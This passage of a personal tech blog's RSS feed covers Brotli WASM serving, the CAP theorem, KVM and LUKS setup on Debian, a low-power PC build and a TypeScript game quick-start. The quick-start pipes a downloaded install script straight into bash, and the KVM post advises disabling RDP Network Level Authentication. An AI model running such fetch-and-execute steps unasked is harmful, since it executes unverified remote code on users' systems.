<h3 id="serving-pre-compressed-wasm-files">Serving pre-compressed WASM files</h3>
<p>We want to look at the &ldquo;<code>Accept-Encoding</code>&rdquo; request header and check it for the
value &ldquo;<code>br</code>&rdquo;, meaning that the browser can understand Brotli encoded content. In
that case we want to serve the Brotli encrypted file and set the
&ldquo;<code>Content-Encoding</code>&rdquo; response header to &ldquo;<code>br</code>&rdquo;. In Apache we can achieve that
with the following &ldquo;<code>.htaccess</code>&rdquo; file:</p>
<pre><code>&lt;FilesMatch &quot;\.wasm$&quot;&gt;
  RewriteEngine On
  RewriteCond %{HTTP:Accept-Encoding} br
  RewriteCond %{REQUEST_FILENAME}-brotli -f
  RewriteRule (.*) $1-brotli
&lt;/FilesMatch&gt;

&lt;FilesMatch &quot;\.wasm-brotli$&quot;&gt;
  Header set Content-Encoding br
  Header set Content-Type application/wasm
  Header append Vary Accept-Encoding
&lt;/FilesMatch&gt;
</code></pre>
<p>The first block matches files ending on &ldquo;<code>.wasm</code>&rdquo; and then turns on the rewrite
engine. It then checks for the presence of the &ldquo;<code>br</code>&rdquo; accept encoding. If so, it
will check for the existence of the requested file with &ldquo;<code>-brotli</code>&rdquo; suffix. I
that exists it will rewrite the request and append the suffix.</p>
<p>The second block matches the rewritten request and in that case it will set a
few response headers. The first is the correct content encoding. The second will
set the correct content type. The content type is normally derived from the
extension, but the &ldquo;<code>wasm-brotli</code>&rdquo; extension is unknown. The last header will
ensure that the request is cached different based on accept encoding header
request header, ensuring intermediate caches (such as CDNs) will give the
correct results.</p>
<h3 id="conclusion">Conclusion</h3>
<p>By using Brotli compression we can achieve really small WASM downloads without
sacrificing much compatibility. It does require some configuration on the
server, but with the information in this post it should be easy to set up. If
you want really small WASM files, you should consider using TinyGo, but note
that only a subset of Go is implemented and thus Ebiten is not supported (yet).</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://oddstream.games/gosol/gosol.html">Free online solitaire card games by Oddstream Games</a></li>
<li><a href="https://ebitengine.org/">Ebitengine - A dead simple 2D game engine for Go</a></li>
<li><a href="https://en.wikipedia.org/wiki/Brotli">Wikipedia - Brotli compression</a></li>
<li><a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">TQdev.com - Open source Minesweeper game in Go and Ebiten</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>The P in CAP is for Performance</title>
      <link>https://www.tqdev.com/2024-the-p-in-cap-is-for-performance/</link>
      <pubDate>Thu, 07 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-the-p-in-cap-is-for-performance/</guid>
      <description>&lt;p&gt;I was reading the (well written) article
&amp;ldquo;&lt;a href=&#34;https://blog.dtornow.com/the-cap-theorem.-the-bad-the-bad-the-ugly/&#34;&gt;The CAP Theorem. The Bad, the Bad, &amp;amp; the Ugly&lt;/a&gt;&amp;rdquo;
by Dominik Tornow (recommended read). On &amp;ldquo;partition tolerance&amp;rdquo; (the P in CAP) he
writes: &amp;ldquo;network partitions are inevitable in a realistic system model&amp;rdquo; and that
tolerating partitions is a &amp;ldquo;non-negotiable requirement&amp;rdquo;. His opinion is a common
one, shared by Eric Brewer (author of the
&lt;a href=&#34;https://en.wikipedia.org/wiki/CAP_theorem&#34;&gt;CAP Theorem&lt;/a&gt;), who also wrote in
&amp;ldquo;&lt;a href=&#34;https://www.infoq.com/articles/cap-twelve-years-later-how-the-rules-have-changed/&#34;&gt;CAP Twelve Years Later&lt;/a&gt;&amp;rdquo;
that his framework was misleading and that &amp;ldquo;designers cannot forfeit P&amp;rdquo;. I
disagree as the same could be said about Consistency or Availability: people
won&amp;rsquo;t lightly give those up on those either.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I was reading the (well written) article
&ldquo;<a href="https://blog.dtornow.com/the-cap-theorem.-the-bad-the-bad-the-ugly/">The CAP Theorem. The Bad, the Bad, &amp; the Ugly</a>&rdquo;
by Dominik Tornow (recommended read). On &ldquo;partition tolerance&rdquo; (the P in CAP) he
writes: &ldquo;network partitions are inevitable in a realistic system model&rdquo; and that
tolerating partitions is a &ldquo;non-negotiable requirement&rdquo;. His opinion is a common
one, shared by Eric Brewer (author of the
<a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP Theorem</a>), who also wrote in
&ldquo;<a href="https://www.infoq.com/articles/cap-twelve-years-later-how-the-rules-have-changed/">CAP Twelve Years Later</a>&rdquo;
that his framework was misleading and that &ldquo;designers cannot forfeit P&rdquo;. I
disagree as the same could be said about Consistency or Availability: people
won&rsquo;t lightly give those up on those either.</p>
<h3 id="on-the-cap-theorem">On the CAP theorem</h3>
<p>Eric Brewer (in my words) said in his
<a href="https://people.eecs.berkeley.edu/%7Ebrewer/cs262b-2004/PODC-keynote.pdf">original keynote</a>
that you can have &ldquo;2 out of 3&rdquo;:</p>
<ul>
<li>Consistency</li>
<li>Availability</li>
<li>Partition tolerance</li>
</ul>
<p>My interpretation is that a bank may lean towards CA, while a social network may
lean towards AP and an email system may lean towards CP.</p>
<p>By stating that P must always be present one may conclude that this &ldquo;divides the
world into CP and AP systems&rdquo; as Tornow writes. He was rephrasing Brewer who
wrote that &ldquo;The general belief is that for wide-area systems, designers cannot
forfeit P&rdquo; and that we &ldquo;therefore have a difficult choice between C and A&rdquo;. But
I feel I disagree with their views. One may choose to ignore P (to some extend,
read on).</p>
<h3 id="cap-properties-are-non-binary">CAP properties are non-binary</h3>
<p>If you choose to NOT have P (Partition tolerance), you may achieve CA. This
requires you to accept that networks are reliable. In other words, as long as
the Internet works (we can reach every node within specified time) we can
achieve CA. Now that doesn&rsquo;t sound so crazy or does it? Maybe the P should stand
for &ldquo;no partitioning within a specified time-frame&rdquo;, redefining the P as
Performance.</p>
<p>The &ldquo;choose 2&rdquo; statement makes one belief that CAP properties (and especially
partition tolerance) are an on/off thing, which they aren&rsquo;t. Just as C and A are
a gradual thing with lots of shades of grey, the P also has levels. The P levels
being the performance level that needs to be guaranteed. Think about slow
systems, such as email for instance.</p>
<p>Brewer seems to agree that these are not binary properties when he writes:
&ldquo;Finally, all three properties are more continuous than binary.&rdquo; This seems in
contradiction with his statement about the &ldquo;difficult choice between C and A&rdquo;,
but maybe it isn&rsquo;t. Brewer also writes that &ldquo;partitions are rare&rdquo;, but it really
depends on whether one qualifies (a single) packet loss as a network partition,
albeit a very short one.</p>
<h3 id="retries-harm-performance">Retries harm performance</h3>
<p>Internet works with packets. Any packet that is lost is re-transmitted, that is
the nature of TCP. Any packet loss can therefore lead to a partition. The only
factor is how long you&rsquo;ll retry. And if you retry longer, then the guaranteed
performance of your system will go down, while also decreasing the chance of
partitioning. Determining whether or not there is a partition (another host is
reachable) is impossible without saying how long you&rsquo;ll retry. You may accept
TCP&rsquo;s retry limits, but they are an arbitrary limit (of Reno) that you may
choose to respect (or not, by implementing retries in the application layer).</p>
<p>therefore I feel one should talk about CAP like this:</p>
<ul>
<li>Consistency, in different levels (C)</li>
<li>Availability, with different guarantees (A)</li>
<li>Partition tolerance, for a specific time (P)</li>
</ul>
<p>Every system needs all three to some extend. What those levels should be depends
on your use case and thus requirements. Performance in a distributed system is
determined by the node-to-node distance and their network speeds. Perceived
performance can be increase by trading in consistency for better latency (as
some global systems do, see
<a href="https://en.wikipedia.org/wiki/PACELC_theorem">PACELC Theorem</a>). On the other
hand: If the nodes can&rsquo;t reach each other due to partitioning, then the
performance suffers (due to retries).</p>
<h3 id="examples-of-low-guaranteed-performance">Examples of low guaranteed performance</h3>
<p>Now let&rsquo;s look at two examples of low guaranteed performance due to partition
tolerance.</p>
<ol>
<li>
<p>Email servers can easily regularly miss 24 hours of Internet connectivity,
does that disqualifies email as an online world-wide distributed system? The
system is available when you are able to send and can check for mail
received. Sending and receiving an email is often instant, but may also take
days (email may end up in queues, doing retries). This lack of guaranteed
performance is a way of working around the P problem.</p>
</li>
<li>
<p>In the early days of the Internet (in the 90&rsquo;s) we had
<a href="https://en.wikipedia.org/wiki/FidoNet">FidoNet</a> running on BBSes that uses a
store-and-forward system to exchange email. It was the ultimate partitioned
system, only connecting to a list of nodes (that it knew of) once per night.
Email exchanges were done using phone lines and timed to run late at night,
normally 4 AM. Every morning you could check your email and email could take
days to arrive.</p>
</li>
</ol>
<p>I think these systems have/had quite high consistency (C) and quite high
availability (A) while also clearly having good partition tolerance (P), but at
the cost of accepting low guaranteed performance.</p>
<h3 id="conclusion">Conclusion</h3>
<p>I was reading a great article by Dominik Tornow, but I realized I didn&rsquo;t agree
with it. Then I realized that I didn&rsquo;t agree with Eric Brewer&rsquo;s original
point-of-view on the CAP properties either. I feel the 3 CAP properties are
continuous and not binary on/off. I suspect that Brewer also knows this but
likes to speak in hyper-boles as the nuances may not be as &ldquo;quotable&rdquo;. I guess
&ldquo;pick 2&rdquo; sounds good, but in reality it is more &ldquo;choose your balance&rdquo;, which may
sound boring. So on the CAP properties we can conclude that you may want (but
can&rsquo;t have) them all.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://blog.dtornow.com/the-cap-theorem.-the-bad-the-bad-the-ugly/">dtornow.com - The CAP Theorem. The Bad, the Bad, &amp; the Ugly - Dominik Tornow</a></li>
<li><a href="https://people.eecs.berkeley.edu/%7Ebrewer/cs262b-2004/PODC-keynote.pdf">berkeley.edu - Towards Robust Distributed Systems - Dr. Eric A. Brewer</a></li>
<li><a href="https://www.infoq.com/articles/cap-twelve-years-later-how-the-rules-have-changed/">infoq.com - CAP Twelve Years Later: How the &ldquo;Rules&rdquo; Have Changed - Eric Brewer</a></li>
<li><a href="https://en.wikipedia.org/wiki/CAP_theorem">Wikipedia - CAP Theorem</a></li>
<li><a href="https://en.wikipedia.org/wiki/PACELC_theorem">Wikipedia - PACELC Theorem</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install KVM from the CLI on Debian 12</title>
      <link>https://www.tqdev.com/2023-install-kvm-from-the-cli-on-debian-12/</link>
      <pubDate>Sun, 24 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-install-kvm-from-the-cli-on-debian-12/</guid>
      <description>&lt;p&gt;In a previous post I have showed how to
&lt;a href=&#34;https://tqdev.com/2023-luks-encrypted-debian-12-server-hetzner&#34;&gt;install Debian 12 with disk encryption&lt;/a&gt;.
In this post I will show how to install KVM on it, so that you can start using
it as a GNU/Linux hypervisor to run virtual (Windows 10) machines. In this post
I will also show how to load a graphical tool to connect to your KVM enabled
server.&lt;/p&gt;
&lt;h3 id=&#34;install-kvm&#34;&gt;Install KVM&lt;/h3&gt;
&lt;p&gt;KVM requires CPU virtualization support (VT-x/AMD-V) to be enabled in the BIOS.
You can check if your CPU is supported by installing cpu-checker and running the
kvm-ok command.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a previous post I have showed how to
<a href="https://tqdev.com/2023-luks-encrypted-debian-12-server-hetzner">install Debian 12 with disk encryption</a>.
In this post I will show how to install KVM on it, so that you can start using
it as a GNU/Linux hypervisor to run virtual (Windows 10) machines. In this post
I will also show how to load a graphical tool to connect to your KVM enabled
server.</p>
<h3 id="install-kvm">Install KVM</h3>
<p>KVM requires CPU virtualization support (VT-x/AMD-V) to be enabled in the BIOS.
You can check if your CPU is supported by installing cpu-checker and running the
kvm-ok command.</p>
<pre><code>sudo apt install cpu-checker -y
kvm-ok
</code></pre>
<p>This should show:</p>
<pre><code>INFO: /dev/kvm exists
KVM acceleration can be used
</code></pre>
<p>If it does not then reboot, press F2 to enter the BIOS, enable the support and
try again.</p>
<p>Now for the installation of the software</p>
<pre><code>sudo apt-get install libvirt-clients libvirt-daemon-system qemu-kvm bridge-utils dnsmasq
</code></pre>
<p>You may also type groups and verify that you are member of the libvirt group.</p>
<pre><code>id maurits
</code></pre>
<p>Before adding yourself log out and in to see if that adds you to the group.</p>
<pre><code>sudo usermod -a -G libvirt maurits
</code></pre>
<p>Now set the default &ldquo;virsh&rdquo; connection in the global config:</p>
<pre><code>sudo nano /etc/libvirt/libvirt.conf
</code></pre>
<p>Uncomment the line:</p>
<pre><code>uri_default = &quot;qemu:///system&quot;
</code></pre>
<p>To test that the installation succeeded you can connect to the hypervisor by
running:</p>
<pre><code>virsh list
</code></pre>
<p>The output should be:</p>
<pre><code> Id    Name                           State
----------------------------------------------------
</code></pre>
<p>It is an empty list of virtual machines.</p>
<h3 id="remote-client">Remote client</h3>
<p>Now on your local computer (not on the server) install the virtual machine
manager by running:</p>
<pre><code>sudo apt install virt-manager
</code></pre>
<p>Now start virt-manager and create a new connection towards your server. This
should use SSH.</p>
<p>NB: You can even run virt-manager on Windows 10 using the Windows Subsystem for
Linux (WSL).</p>
<h3 id="create-vm">Create VM</h3>
<p>When you create a Windows 11 VM, ensure to choose VirtIO technology for disk,
video and network as those are really fast. You may need to download the latest
driver disk from:</p>
<p><a href="https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/">https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/</a></p>
<p>You may need to use that driver disk during the windows installation. Note that
you can get a time-limited link for a Windows 11 installation disk from:</p>
<p><a href="https://www.microsoft.com/en-us/software-download/windows11">https://www.microsoft.com/en-us/software-download/windows11</a></p>
<p>Note that you should access that URL from Linux to get to the download page (or
fake that using a &ldquo;User-Agent Switcher&rdquo;). You should put the install images in
the &ldquo;/var/lib/libvirt/images/&rdquo; directory on the KVM server (requires &ldquo;sudo&rdquo;).</p>
<h3 id="set-a-fixed-ip-address">Set a fixed IP address</h3>
<p>By default the KVM network is on 192.168.122.0/24 and it uses NAT and DHCP. If
you want to access your Windows host over RDP you may need to set a DHCP
reserved address. You can read how to do this on my post
&ldquo;<a href="https://tqdev.com/2020-kvm-network-static-ip-addresses">Static IP addresses in a KVM network</a>&rdquo;.</p>
<h3 id="start-domain-on-rdp-connect">Start domain on RDP connect</h3>
<p>In order to start the Windows VM on RDP connect (failure) you need to add the
name of the VM to &ldquo;/etc/hosts&rdquo; on the server (requires sudo) and you need to
install my <a href="https://github.com/mevdschee/wake-domain.sh">wake-domain</a> script.
This will either start the VM when connection fails or wake it from
&ldquo;pmsuspended&rdquo; state. This allows users to turn off the VM or let it suspend
(energy settings).</p>
<h3 id="connect-via-rdp-over-ssh">Connect via RDP over SSH</h3>
<p>I use the tool <a href="https://mobaxterm.mobatek.net/">MobaXterm</a> to connect to RDP
over SSH. You can simply enter the private 192.168.122.x address as the remote
RDP machine and then configure the KVM server as SSH jump host. Note that you
may have to disable Network Level Authentication (NLA) by going in &ldquo;System
Properties&rdquo; to the &ldquo;Remote&rdquo; tab and uncheck &ldquo;Allow connections only from
computers running Remote Desktop with Network Level Authentication
(recommended)&rdquo;.</p>
<h3 id="set-clock-to-utc">Set clock to UTC</h3>
<p>In order to set the clock to UTC in Windows 11 you may need to run the following
registry file.</p>
<pre><code>Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation]
&quot;RealTimeIsUniversal&quot;=dword:00000001
</code></pre>
<p>Run the file and turn the VM off and on and see that the time synchronization
works and it didn&rsquo;t jump back to UTC.</p>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS encrypted Debian 12 server (Hetzner)</title>
      <link>https://www.tqdev.com/2023-luks-encrypted-debian-12-server-hetzner/</link>
      <pubDate>Mon, 23 Oct 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-luks-encrypted-debian-12-server-hetzner/</guid>
      <description>&lt;p&gt;In this tutorial I&amp;rsquo;ll walk you through the steps of setting up Debian 12 with
LUKS full disk encryption on a server you bought from the Hetzner auction. I&amp;rsquo;m
using the recommended method using the &amp;ldquo;&lt;code&gt;installimage&lt;/code&gt;&amp;rdquo; script (that Hetzner
provides) to make things really easy for myself.&lt;/p&gt;
&lt;h3 id=&#34;enter-the-rescue-mode&#34;&gt;Enter the rescue mode&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Login to the Robot &lt;a href=&#34;https://robot.hetzner.com&#34;&gt;robot.hetzner.com&lt;/a&gt; and go to
the &amp;ldquo;Server&amp;rdquo; page.&lt;/li&gt;
&lt;li&gt;Click on &amp;ldquo;Server&amp;rdquo; &amp;gt; &amp;ldquo;Key Management&amp;rdquo; &amp;gt; &amp;ldquo;New Key&amp;rdquo;, add your public key and
click &amp;ldquo;Add Key&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Click on &amp;ldquo;Server&amp;rdquo; and click your server and choose the &amp;ldquo;Rescue&amp;rdquo; tab.&lt;/li&gt;
&lt;li&gt;Select your &amp;ldquo;Public key&amp;rdquo; and click &amp;ldquo;Activate Rescue System&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Now click on the &amp;ldquo;Reset&amp;rdquo; tab and choose &amp;ldquo;Execute an automatic hardware reset&amp;rdquo;
and click &amp;ldquo;Send&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Wait for 60 seconds (duration depends on the hardware) for the server to
reboot.&lt;/li&gt;
&lt;li&gt;Use an SSH client to connect with username &amp;ldquo;root&amp;rdquo; to the IP address of your
server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;installation-instructions&#34;&gt;Installation instructions&lt;/h3&gt;
&lt;p&gt;Add your public keys to the rescue image by using an editor and pasting the
public keys:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In this tutorial I&rsquo;ll walk you through the steps of setting up Debian 12 with
LUKS full disk encryption on a server you bought from the Hetzner auction. I&rsquo;m
using the recommended method using the &ldquo;<code>installimage</code>&rdquo; script (that Hetzner
provides) to make things really easy for myself.</p>
<h3 id="enter-the-rescue-mode">Enter the rescue mode</h3>
<ul>
<li>Login to the Robot <a href="https://robot.hetzner.com">robot.hetzner.com</a> and go to
the &ldquo;Server&rdquo; page.</li>
<li>Click on &ldquo;Server&rdquo; &gt; &ldquo;Key Management&rdquo; &gt; &ldquo;New Key&rdquo;, add your public key and
click &ldquo;Add Key&rdquo;.</li>
<li>Click on &ldquo;Server&rdquo; and click your server and choose the &ldquo;Rescue&rdquo; tab.</li>
<li>Select your &ldquo;Public key&rdquo; and click &ldquo;Activate Rescue System&rdquo;.</li>
<li>Now click on the &ldquo;Reset&rdquo; tab and choose &ldquo;Execute an automatic hardware reset&rdquo;
and click &ldquo;Send&rdquo;.</li>
<li>Wait for 60 seconds (duration depends on the hardware) for the server to
reboot.</li>
<li>Use an SSH client to connect with username &ldquo;root&rdquo; to the IP address of your
server.</li>
</ul>
<h3 id="installation-instructions">Installation instructions</h3>
<p>Add your public keys to the rescue image by using an editor and pasting the
public keys:</p>
<pre><code>nano /root/.ssh/authorized_keys
</code></pre>
<p>Copy the public keys to a location that can be used by the installer:</p>
<pre><code>cp /root/.ssh/authorized_keys /tmp/authorized_keys
</code></pre>
<p>Create a &ldquo;<code>post-install.sh</code>&rdquo; file:</p>
<pre><code>nano /tmp/post-install.sh
</code></pre>
<p>And fill it with the following content:</p>
<pre><code>#!/bin/bash
cp /root/.ssh/authorized_keys /etc/dropbear/initramfs/
apt-get update &gt;/dev/null
apt-get -y install cryptsetup-initramfs dropbear-initramfs
</code></pre>
<p>Make the file executable:</p>
<pre><code>chmod +x /tmp/post-install.sh
</code></pre>
<p>Now run the installer interactive with the &ldquo;<code>post-install.sh</code>&rdquo; script:</p>
<pre><code>installimage -x /tmp/post-install.sh
</code></pre>
<p>Now an editor opens and you need to add (use your own passphrase):</p>
<pre><code>CRYPTPASSWORD yoursecretpassphrase
</code></pre>
<p>Also adjust the <code>HOSTNAME</code> to match your hostname (and set the reverse in the
robot):</p>
<pre><code>HOSTNAME yourhostname.yourdomain.com
</code></pre>
<p>Adjust the line:</p>
<pre><code>PART / ext4 all
</code></pre>
<p>And add the word &ldquo;<code>crypt</code>&rdquo; so that it becomes:</p>
<pre><code>PART / ext4 all crypt
</code></pre>
<p>Now add a &ldquo;<code>SSHKEYS_URL</code>&rdquo; line to specify where the public keys are located:</p>
<pre><code>SSHKEYS_URL /tmp/authorized_keys
</code></pre>
<p>Press &ldquo;Esc&rdquo; and save the file on exit. The installer begins. Wait until it
shows:</p>
<pre><code>INSTALLATION COMPLETE
</code></pre>
<p>Now you can reboot the server from the command line using the &ldquo;<code>reboot</code>&rdquo;
command:</p>
<pre><code>reboot
</code></pre>
<p>After waiting for 60 seconds for the server to reboot you can connect again to
dropbear:</p>
<pre><code>ssh root@yourhostname.yourdomain.com
</code></pre>
<p>You may see a warning and have to remove the signature. This may happen more
often as the key of dropbear does not match the key of the rescue image nor the
key of your normal SSH server:</p>
<pre><code>ssh-keygen -f &quot;/home/maurits/.ssh/known_hosts&quot; -R &quot;yourhostname.yourdomain.com&quot;
</code></pre>
<p>Now you get to the BusyBox prompt and you need to type &ldquo;<code>cryptroot-unlock</code>&rdquo; to
unlock the disk:</p>
<pre><code>cryptroot-unlock
</code></pre>
<p>Now enter the passphrase you&rsquo;ve chosen earlier. You should get disconnected
after a successful passphrase and the system should boot up normally.</p>
<p>You installation is complete and your system is up-and-running.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://community.hetzner.com/tutorials/install-ubuntu-2004-with-full-disk-encryption">How to install Ubuntu 20.04 with full disk encryption</a></li>
<li><a href="https://tqdev.com/2023-luks-with-https-unlock">TQdev.com - LUKS with HTTPS unlock</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>ASRock N100DC-ITX</title>
      <link>https://www.tqdev.com/2023-asrock-n100dc-itx/</link>
      <pubDate>Sat, 16 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-asrock-n100dc-itx/</guid>
      <description>&lt;p&gt;The fairly new N100 processor was mainly available in mini PC&amp;rsquo;s and firewall
devices, but now we have ASRock that offers it as &amp;ldquo;N100DC-ITX&amp;rdquo; on an ITX sized
motherboard. I&amp;rsquo;m using it to rebuild a PC in my living room that I designed to
be powerful and silent and always on. My previous build was an ASRock J5040-ITX
motherboard in an Inter-Tech ITX-601 HTPC case with 32 GB of RAM a 1 TB SSD. It
used 8 watt at idle and I wrote
&lt;a href=&#34;https://tqdev.com/2021-low-power-computing-at-8-watt-idle&#34;&gt;a post about it&lt;/a&gt;. No
reason for real complaints as I&amp;rsquo;ve used the machine daily, but certain websites
(and sometimes VSCode) started to feel a bit slow. I wanted a little better
performance and the N100 should be able to deliver and hopefully it will not
consume much more power.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The fairly new N100 processor was mainly available in mini PC&rsquo;s and firewall
devices, but now we have ASRock that offers it as &ldquo;N100DC-ITX&rdquo; on an ITX sized
motherboard. I&rsquo;m using it to rebuild a PC in my living room that I designed to
be powerful and silent and always on. My previous build was an ASRock J5040-ITX
motherboard in an Inter-Tech ITX-601 HTPC case with 32 GB of RAM a 1 TB SSD. It
used 8 watt at idle and I wrote
<a href="https://tqdev.com/2021-low-power-computing-at-8-watt-idle">a post about it</a>. No
reason for real complaints as I&rsquo;ve used the machine daily, but certain websites
(and sometimes VSCode) started to feel a bit slow. I wanted a little better
performance and the N100 should be able to deliver and hopefully it will not
consume much more power.</p>
<p>
  
    <img src="/uploads/2023/asrock-n100dc-itx_hu_a8272e99851a1e79.webp" alt="ASRock N100DC-ITX"  />
  
</p>
<h3 id="about-the-asrock-n100dc-itx">About the ASRock N100DC-ITX</h3>
<p>It is a very affordable board considering you can power it with a 20 euro
external power supply and has a CPU and cooler included for only 140 euro. Add
an ITX case, some RAM and a drive and you&rsquo;ll build a nice fanless budget PC
around 300 euro. Great features are it&rsquo;s full size DDR4 support, 2 SATA ports
and it&rsquo;s NVMe slot (PCIe 3.0 x4). The board has 6 physical USB ports on it&rsquo;s I/O
shield and supports 6 USB ports on front panel connections. It also supports M2
WiFi, but be careful as you must use a CNVio2 (Key E) card, such as the
(recommended) Intel AX211 (which performs really well).</p>
<h3 id="how-about-the-asus-prime-n100i-d-d4">How about the Asus PRIME N100I-D D4?</h3>
<p>The only other N100 ITX motherboard option I&rsquo;m aware of at the time of writing
is the
<a href="https://www.asus.com/motherboards-components/motherboards/prime/prime-n100i-d-d4/">Asus PRIME N100I-D D4</a>.
Even though Asus states that the board has a 16GB SO-DIMM RAM limit, it happily
accepts a 32GB SO-DIMM in it&rsquo;s single (channel) slot. It has NVMe drive support
and also has 1 SATA3 port, so everything looks good. Note that this is not a DC
board, so it requires you to buy an additional PicoPSU to run it in a small
case. Or if you have a small case with an internal power supply (such as the
Inter-tech ITX-601) the Asus may be a good match too.</p>
<h3 id="list-of-materials">List of materials</h3>
<p>The materials used in this build are (prices from Dutch web-shops like
<a href="https://www.megekko.nl/">Megekko</a> and Amazon.nl):</p>
<pre><code> 91 Antec ISK 110 Case (includes 90W power brick)
140 ASRock N100DC-ITX motherboard with CPU
 82 Patriot Viper Steel DDR4 1 x 32GB 3200MHz RAM
 95 Crucial P3 Plus 2TB M.2 PCIe Gen4 NVMe SSD
 15 Noctua NF-P12 1300 RPM Redux, 4-pins PWM, 120mm Fan
 21 Intel® Wi-Fi 6E AX211, Key E M2, CNVio2
 11 2 x IPEX (MHF2) Cable + 8dBi WiFi Antenna
 14 Be quiet! MC1 M2 SSD cooler
--- +
469 Total
</code></pre>
<p>Note that even without trying to save costs, I still managed to stay under 500
euro total costs on this build. I had an &ldquo;Antec ISK 110 Vesa&rdquo; laying around from
<a href="https://tqdev.com/chieftec-ix-03b-with-amd-5700g">a previous upgrade</a> with 2 x
USB 3 and 2 x USB 2 on the front, but this case is hard to find now. As an
alternative I do recommend the &ldquo;Chieftec IX-03B&rdquo; with a 120mm x 15mm slim fan,
which looks nicer as it is a smaller case, but is lacking front panel USB
connections.</p>
<h3 id="so-this-build-is-not-silent">So this build is not &ldquo;silent&rdquo;?</h3>
<p>Well.. depends on your definition of silent I guess. The motherboard is fan-less
and it supports connected fans that only power up above a certain motherboard or
CPU temperature. The &ldquo;Noctua NF-P12 Redux&rdquo; is a very quiet fan that I only spin
up to 25% (of 1300 RPM) when the motherboard goes above 50 degrees Celsius. I
configured the fan curve to spin the fan 10% faster for every 10 degrees the
motherboard heats up. You can play with these (visual) fan curves in the BIOS,
which is very nice. I can assure you that most of the time the fan will be off
and when it is on, you won&rsquo;t hear it. It may not even be needed, but I believe
that a little airflow has a positive effect on the life-time of the components.
So yes, the build is very quiet and no it&rsquo;s not fan-less.</p>
<h3 id="is-it-using-less-than-8-watt-idle">Is it using less than 8 watt idle?</h3>
<p>No, it&rsquo;s not as efficient as my previous build. It uses about 12 watt idle,
which is a lot more (measured on the wall socket). This was somewhat
disappointing, but it triggered me to try out the suspend (to RAM, S3) option.
When suspended it uses only 2 watt, which is very nice (in combination with
auto-suspend after half an hour). Also waking up from suspend was very fast (1-2
seconds). The only problem was that initially after waking up from suspend the
video failed to work (no signal). I found out that this was a bug that was
solved in a recent Linux kernel. After updating my Linux kernel to the latest
version (using
<a href="https://ubuntuhandbook.org/index.php/2020/08/mainline-install-latest-kernel-ubuntu-linux-mint/">the mainline tool</a>)
suspend was working flawless.</p>
<h3 id="conclusion-cheap-small-and-quiet">Conclusion: Cheap, small and quiet</h3>
<p>So I like computers to be cheap, small and quiet. After today I can say I also
achieved &ldquo;relatively fast&rdquo; as this machine isn&rsquo;t noticeably slower than my 5700G
in everyday tasks (surfing, office work, programming). If you are looking for a
living room PC that it relatively small and quiet I can recommend this build. It
was a joy to build and it is a joy to work with. The PC is heavily used every
day, so I feel the money is well spent. I hope I inspired you with this write-up
and enjoy upgrading and tinkering!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2021-low-power-computing-at-8-watt-idle">TQdev.com - Low power computing at 8 watt idle</a></li>
<li><a href="https://tqdev.com/2021-antec-isk-110-with-3400g-using-ctdp">TQdev.com - Antec ISK 110 with 3400G using cTDP</a></li>
<li><a href="https://tqdev.com/chieftec-ix-03b-with-amd-5700g">TQdev.com - Chieftec IX-03B with AMD 5700G</a></li>
<li><a href="https://www.asrock.com/mb/Intel/N100DC-ITX/index.asp">ASRock.com - ASRock N100DC-ITX - Overview</a></li>
<li><a href="https://www.asus.com/motherboards-components/motherboards/prime/prime-n100i-d-d4/">Asus.com - Asus PRIME N100I-D D4</a></li>
<li><a href="https://ubuntuhandbook.org/index.php/2020/08/mainline-install-latest-kernel-ubuntu-linux-mint/">UbuntuHandbook - Kernel mainline tool</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>TicTacToe in TypeScript</title>
      <link>https://www.tqdev.com/2023-tictactoe-in-typescript/</link>
      <pubDate>Thu, 31 Aug 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-tictactoe-in-typescript/</guid>
      <description>&lt;p&gt;In my &lt;a href=&#34;https://tqdev.com/2023-writing-games-in-typescript&#34;&gt;last post&lt;/a&gt; I&amp;rsquo;ve told
you about how I&amp;rsquo;m writing (simple) games in TypeScript. In this post I&amp;rsquo;ll share
the source code of a Simple TicTacToe game I rewrote in TypeScript. I&amp;rsquo;m using
Visual Studio Code and the TypeScript plugin. I&amp;rsquo;m working on Linux, but on
Windows you should be able to use the same instructions within the WSL2
environment.&lt;/p&gt;
&lt;h3 id=&#34;quick-start&#34;&gt;Quick start&lt;/h3&gt;
&lt;p&gt;Type the following commands to get started:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone git@github.com:mevdschee/typescript-tictactoe.git
cd typescript-tictactoe
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
nvm install node
npm install
npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now use Visual Studio Code (with the TypeScript extension) to edit the content
and see how the code is recompiled and the browser is reloaded when the code is
saved.&lt;/p&gt;</description>
